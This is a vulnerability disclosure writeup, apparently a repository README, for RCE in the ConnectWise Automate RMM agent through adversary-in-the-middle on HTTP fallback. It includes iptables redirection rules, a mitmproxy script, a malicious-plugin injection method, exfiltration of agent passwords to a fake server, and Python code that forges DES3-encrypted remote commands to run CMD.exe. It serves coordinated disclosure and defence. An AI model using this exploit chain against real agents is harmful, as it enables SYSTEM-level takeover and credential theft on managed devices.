synap5e/connectwise-automate-aitm-rceWriteup y código para CVE-2025-11492, CVE-2025-11493 - RCE en ConnctWise Automate RMM mediante Adversary-in-the-Middle
Como parte de una Prueba de Penetración, descubrí múltiples vulnerabilidades en el agente de ConnectWise Automate para Monitoreo y Gestión Remota (RMM). ConnectWise es utilizado por muchos Proveedores de Servicios Gestionados (MSPs) para gestionar y monitorear dispositivos de clientes. Estas vulnerabilidades permitían la ejecución remota de código si un atacante podía establecer un Adversario en el Medio (AiTM) en la red, o podían usarse como escalada de privilegios local y persistencia sigilosa si un atacante obtenía ejecución de código o acceso físico a un dispositivo que ejecutara el agente de ConnectWise Automate.
Las vulnerabilidades se reportaron a ConnectWise el 20 de agosto de 2025. ConnectWise asignó IDs CVE y lanzó un parche en la versión 2025.9 el 16 de octubre de 2025.
Boletín de ConnectWise:
IDs CVE:
2025.9 y publica el boletín de seguridad y los CVE.Aprecié las respuestas rápidas de ConnectWise, su enfoque colaborativo para la remediación y su disposición a discutir la mejor manera de abordar la clasificación y la remediación.
Clasificar estas vulnerabilidades fue un desafío interesante. Si bien cambiar a HTTPS resuelve prácticamente todos los escenarios de este informe, era evidente que originalmente fue una decisión de diseño (soportar HTTP) para mejorar la confiabilidad de la comunicación agente-servidor. El esquema de cifrado parecía reconocer/tratar de mitigar parcialmente el riesgo de AiTM, pero no se aplicó de manera consistente. Investigar esto implicó tratar de clasificar si la debilidad era el propio HTTP o la falta de cifrado sobre HTTP, así como la prevención de reproducción, validación de plugins, etc., eran vulnerabilidades propias. En un momento, ConnectWise consideró 5+ CVE separados para diferentes aspectos de las vulnerabilidades.
Además, el alcance y el vector de ataque cambiaban dependiendo de si la vulnerabilidad se consideraba desde una perspectiva de AiTM (p. ej., Wi-Fi de cafetería) o de LPE/acceso físico. Un enfoque alternativo sería considerar cada escenario como una vulnerabilidad separada, p. ej., AiTM RCE, LPE, toma de control de persistencia, etc.
Un aprendizaje final es que incluso en 2025, todavía nos cuesta compartir archivos de manera efectiva :D (la seguridad del correo electrónico no toleraba que enviara archivos .dll o .zip que los contuvieran).
Este informe se publica tras el lanzamiento del parche por parte de ConnectWise y la divulgación de los CVE, y con su acuerdo de que dicha divulgación no perjudica a sus usuarios. Además, creo que la divulgación pública de estas vulnerabilidades y sus mitigaciones ayudará a otros proveedores y profesionales de seguridad a comprender y mitigar mejor los riesgos tanto en ConnectWise Automate como en otros sistemas RMM.
El contenido está destinado únicamente a fines de investigación de seguridad autorizados y legales, y con fines educativos. El uso no autorizado de esta información para comprometer sistemas, redes o datos es ilegal y poco ético. El contenido se proporciona tal cual y sin garantías de ningún tipo. El(los) autor(es) renuncian a toda responsabilidad por daños derivados del uso o mal uso de esta información.
Si utiliza este código o información para investigaciones adicionales, practique la divulgación responsable informando cualquier vulnerabilidad descubierta al(los) proveedor(es) afectado(s).
Además del informe a continuación, este repositorio contiene código PoC para demostrar las vulnerabilidades. Consulte automate_server/README.md para obtener detalles sobre la implementación del servidor falso y las instrucciones de uso.
Este código también podría usarse para realizar investigaciones de seguridad (éticas) adicionales sobre ConnectWise Automate.
El siguiente informe (o una versión cercana a él) y el código Python PoC en este repositorio se proporcionaron a ConnectWise, junto con las mitigaciones recomendadas.
La sección de mitigaciones eliminadas entra en más detalles sobre cambios que podrían realizarse al agente Automate para fortalecerlo de varias maneras contra estas vulnerabilidades.
Como algunos de estos cambios aún están siendo considerados por ConnectWise, esa sección se ha eliminado de esta divulgación pública.
El agente de ConnectWise Automate para Monitoreo y Gestión Remota (RMM) (probado en la versión más reciente a agosto de 2025, cadena de versión 250.252) es vulnerable a la Ejecución Remota de Código basada en red en ciertas configuraciones. Si el agente está configurado para usar un transporte HTTP no cifrado (ya sea como principal o como respaldo) para su Server Address y un atacante puede realizar un ataque de adversario en el medio (AiTM), entonces puede ejecutar código de forma remota como SYSTEM. Esta configuración se ha observado en entornos reales desde múltiples Proveedores de Servicios Gestionados (MSPs).
La explotación también es posible si el atacante obtiene acceso físico al dispositivo como no administrador o puede conectar el dispositivo a una red controlada por el atacante (es decir, la vulnerabilidad se puede usar como una Escalada de Privilegios Local). Aunque Automate emplea un sistema de cifrado para cifrar y validar la mayoría de los comandos RMM, su sistema de plugins carece de protección adecuada y sigue siendo susceptible a la Ejecución Remota de Código.
Al implementar un servidor personalizado que imita al servidor de control de Automate, el agente de Automate puede ser forzado a descargar y ejecutar un plugin malicioso.
El agente comprometido también puede servir como una forma atractiva de persistencia. Utilizando la RCE para extraer las claves de cifrado simétricas del agente, el servidor personalizado puede enviar comandos arbitrarios al agente mediante el canal RMM estándar. En el escenario de AiTM, esto permite al atacante ejecutar comandos RMM arbitrarios, incluyendo extracción de archivos, volcado de credenciales, ejecución de comandos y cambio de configuración. El atacante también podría modificar la Server Address del RMM a su propio servidor, logrando persistencia sigilosa incluso después del AiTM. Alternativamente, la RCE puede aprovecharse para ejecutar comandos a nivel de sistema directamente.
Server Address que incluye un endpoint http://. Se han observado configuraciones vulnerables de dos MSPs distintos (dominios e IPs reales de MSP reemplazados):
https://automate.msp-one.com|http://automate.msp-one.comhttps://msp.msp-two.com|http://msp.msp-two.com|http://12.346.6.78http:// se usa como respaldo si la conexión https:// falla, pero un atacante puede simular esto bloqueando https.El agente de Automate puede configurarse para usar una URL http:// como dirección del servidor. Esta configuración probablemente se establece mediante el script/paquete de instalación, pero se puede verificar comprobando la clave de registro HKLM\SOFTWARE\LabTech\Service\Server Address.
El uso de ambos endpoints HTTPS y HTTP, separados por una tubería |, asegura que, en teoría, si la conexión HTTPS encuentra un problema, el agente de Automate recurrirá a la conexión HTTP.
Si un atacante obtiene acceso de Adversario en el Medio (AiTM) al tráfico de red entre el agente de Automate y el servidor, puede interrumpir intencionadamente la conexión HTTPS, provocando que recurra a HTTP. Esto permite al atacante interceptar, monitorear y alterar el tráfico intercambiado entre el agente y el servidor. Un atacante puede entonces hacer un proxy inverso del tráfico hacia https://automate.msp-one.com, resultando en una "operación estándar" del agente, pero con el atacante capaz de espiar los datos. Además, puede inyectar o modificar respuestas o incluso configurar un servidor Automate completamente fraudulento que responda a las solicitudes del agente de Automate.
Esto se logró configurando un punto de acceso Wi‑Fi "falso" (hostapd, dnsmasq, IP forwarding + NAT) y usando reglas iptables para la redirección de tráfico y un script mitmproxy para el proxy inverso.
Otros datos más sensibles, incluyendo programas en ejecución, configuración completa de red y rutas de documentos, se han observado en ocasiones en las respuestas del agente de Automate.
iptables -t nat -A PREROUTING -i wlx90916440139a -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -A FORWARD -i wlx90916440139a -p tcp --dport 443 -j DROP
#### mitmproxy script:```python
# run with AiTMweb --mode transparent@8080 -s automate_AiTM.py
def request(flow: http.HTTPFlow):
if flow.request.pretty_host == 'automate.msp-one.com':
flow.request.url = 'https://automate.msp-one.com' + flow.request.path
ZTNA solutions can slightly complicate this interception, but these were reliably bypassed by further mitmproxy scripts to conditionally detect and block ZTNA, resulting in fallback to non‑tunneled HTTP.
The Automate agent uses a custom protocol on top of HTTP to communicate with the server.
The RMM agent on the device periodically sends HTTP(S) requests to the server's /LabTech/agent.aspx endpoint. The relevant request types are:
Note that the inconsistent capitalization of the paths is not a typo; it is how the Automate agent sends these requests. All endpoint paths are wrapped in code ticks for clarity.
/LabTech/Agent.aspx?DEPS and receives an XML response containing a list of dependency files, their version numbers, and their checksums./LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id> and receives an obfuscated binary file containing the dependency disguised as an image file (presumably the obfuscation is intended to prevent content filters from blocking the download)./LabTech/agent.aspx?<id>?c<CMD id>&<arg count> and receives a custom-packed response containing command-specific data.InitialCommandRetrieve), return results of commands, and perform chat.Sensitive "remote commands" are often encrypted using a DES3-based encryption scheme with custom key derivation from a preset system password and computer password. Without the correct passwords, an attacker cannot view/inject/modify legitimate commands sent to the agent; however, command responses are unencrypted and have been observed to frequently include sensitive plaintext data including open files, paths, usernames, installed programs, etc.
The Dependency check (/LabTech/Agent.aspx?DEPS) and downloads (/LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id>) are not encrypted or signed, meaning that an attacker can modify the response to include malicious dependencies that will be downloaded and loaded by the RMM agent. If the Dependency check is forged to include a different checksum, the RMM agent will perform a fresh download for the mismatched dependency file and load it (provided the newly downloaded file matches the forged checksum). Plugins are .NET assemblies that implement a specific interface, and the Automate agent will load any .NET assembly that matches the expected plugin interface then call the plugin's interface resulting in code execution.
There is a second level of validation for downloaded plugin dependencies, where the agent sends a cmdGetPlugins command and also validates that the checksum matches here, but this command does not use the encryption scheme.
Using dnSpy, it was possible to inject malicious code into the legitimate ScreenConnectRemotePlugin.dll used by the agent. A custom Automate server with the DEPS, DepCheck, and cmdGetPlugins command functionality was created. The fake server replicated the expected plugins and dependencies, but modified the hash for the ScreenConnectRemotePlugin.dll to a computed hash for the maliciously modified plugin. The fake server also provided the maliciously modified ScreenConnectRemotePlugin.dll in response to the DepCheck request (in the obfuscated fake-image format) and implemented cmdGetPlugins also with the manipulated hash. Finally, the mitmproxy script was updated to direct the Automate agent to the fake server instead of the legitimate (HTTPS) server.
Upon connection, the malicious plugin is downloaded and loaded by the agent. The injected code exfiltrates the "system" and "computer" passwords to the fake server. The system and computer passwords are stored in the registry but are decoded by a heavily obfuscated C# and native library. Rather than extracting the registry values, the patched plugin uses reflection to obtain the decoded values, saving the effort of reverse engineering the obfuscation. Alternatively, the entire contents of the registry key HKLM\SOFTWARE\LabTech\Service could be exfiltrated and used with a copy of the RMM agent in a controlled environment to extract the passwords at runtime using a .NET debugger.
Alternatively, the plugin can be used to run system-level commands directly; however, extracting the secrets enabled using the RMM agent itself as command‑and‑control and meant that the persistent channel was undetected by EDR. Persistence can be obtained by updating the Server Address to an attacker‑controlled server, which can optionally forward commands to the legitimate server to avoid the device showing as missing. See 3. RMM Command‑and‑Control Takeover for more details.
It is expected that even if the default configuration came with no plugins installed, a blank plugin (matching the C# interfaces required for plugins) could have been compiled and inserted into the DEPS and cmdGetPlugins responses for the same effect.
It was further observed that a "remote command" called UpdatePlugins can be returned by the server, triggering the agent to initiate a plugin update. Because commands do not include replay protection, if an attacker can observe the command being sent by a legitimate server, they can replay this to any other agents to trigger the update. This enables the RCE vulnerability to be exploited in additional scenarios, increasing the impact of this vulnerability.
Self‑update was also observed to be unencrypted and unsigned. Demonstration of remote code execution via self‑update was not performed, but it is believed to be similarly vulnerable. Malicious modification of self‑update would be more difficult to perform stealthily and has more risk of breaking the Automate agent; however, it is likely a similar approach of injecting .NET code into the executables/DLLs would work. The self‑update process was not further explored as the plugin RCE was sufficient and deemed more reliable.
It is also possible that exploiting the self‑update process would be a viable solution to the only-exploitable-on-reboot limitation (e.g., if a response could be injected or replayed to trigger a self‑update).
Using the approach in 2.1 to extract the system password and computer password, it was possible to create arbitrary "remote command" payloads and responses. Rather than fully reverse engineer and reimplement the key derivation scheme, it was possible to simply import LabTechCommonBase.dll and use Utilities.LabTechHash.ComputeHash to generate the DES3 key from the "computer password". Using the computed DES key and hardcoded IV extracted from the DLL, it was then possible to respond with arbitrary commands to the RMM agent.```python
# IV extracted from decompiled LabTechSecurity.cs:
# this._initializationVector = new byte[] { 240, 3, 45, 29, 0, 76, 173, 59 };
iv = [240, 3, 45, 29, 0, 76, 173, 59]
# Helper functions for pythonnet, clr_loader, clr to load LabTechCommonBase.dll into python
labtech_net.setup_paths_and_references(str((Path(__file__).parent.parent / 'LTSvc').resolve()))
from LabTechCommonBase import Utilities
labtech_hash = Utilities.LabTechHash()
labtech_hash.ComputeHash(computer_password.encode('ascii')) # Use the exfiltrated computer password
byts = bytes(labtech_hash.GetDigestBytes())
cipher = DES3.new(byts, DES3.MODE_CBC, bytes(iv))
padded_data = pad(data.encode('utf-8'), DES3.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')
Se implementaron manejadores para una variedad de tipos de "Comandos de Agente" en el servidor Automate falso, lo que le permite enviar "Comandos Remotos" de vuelta al agente. Estos comandos se pueden utilizar para ejecutar código arbitrario en el dispositivo, como descargar y ejecutar una carga útil, o establecer túneles de red hacia el dispositivo (por ejemplo, configurar un proxy SOCKS que podría usarse para pivotar a través del acceso ZTNA del dispositivo).
Para una limpieza inmediata desde la versión 2.1, el servidor puede enviar el comando `UpdatePlugins` cifrado y servir el plugin legítimo original para sobrescribir el plugin modificado maliciosamente. El atacante aún puede interactuar con el agente (suponiendo que se hayan extraído las contraseñas) y puede mantener la persistencia actualizando la `Dirección del Servidor` a un servidor controlado por el atacante.
También se demostró la ejecución arbitraria de comandos utilizando el comando `Execute` para ejecutar un ping, que se ejecutó con éxito en el dispositivo bajo un contexto de administrador. Esto puede servirse como el comando `InitialCommandRetrieve` o devolverse en respuesta a otros "comandos de agente"/check-ins.```python
# Extract the RemoteCommandIDs enum from LabTechCommonBase.Constants using pythonnet
REMOTE_CMD_IDS = get_RemoteCommandIDs()
REMOTE_CMD_IDS_r = {str(v): k for k, v in REMOTE_CMD_IDS.items()}
# `register_cmd_handler` registers a command handler for the `/LabTech/agent.aspx?c<id>` endpoint.
# The string 'InitialCommandRetrieve' is mapped back to ID `36`.
# The full set of "Agent Command" and their IDs can be extracted from `LabTechCommonBase.Constants.modEnums.AgentCommandIDs`
@register_cmd_handler('InitialCommandRetrieve')
async def initial_command_retrieve(_req: dict) -> str:
cmd = '*!*'.join([
'202706506',
str(REMOTE_CMD_IDS_r['Execute']),
'!!!'.join([
'CMD.exe',
'/c ping -t -l 1337 192.168.20.2'
])
])
encrypted_cmd = encrypt(cmd)
return '|||'.join([
len_b64_gzip( # Simple helper to return '{len(data)}-{base64(gzip(data))}'
encrypted_cmd
),
# Generate common [latest-version, FILETIME(), queued command(s), MD5 hashes] encoding string expected in "agent command" responses
make_p2(),
])
El uso de -l 1337 indica a ping que utilice un tamaño de carga útil de 1337 bytes, lo cual se observa en la segunda captura de pantalla (1337 bytes de carga útil + 42 bytes de cabecera = 1379 bytes totales) como un "canario".
Sección eliminada de la divulgación pública.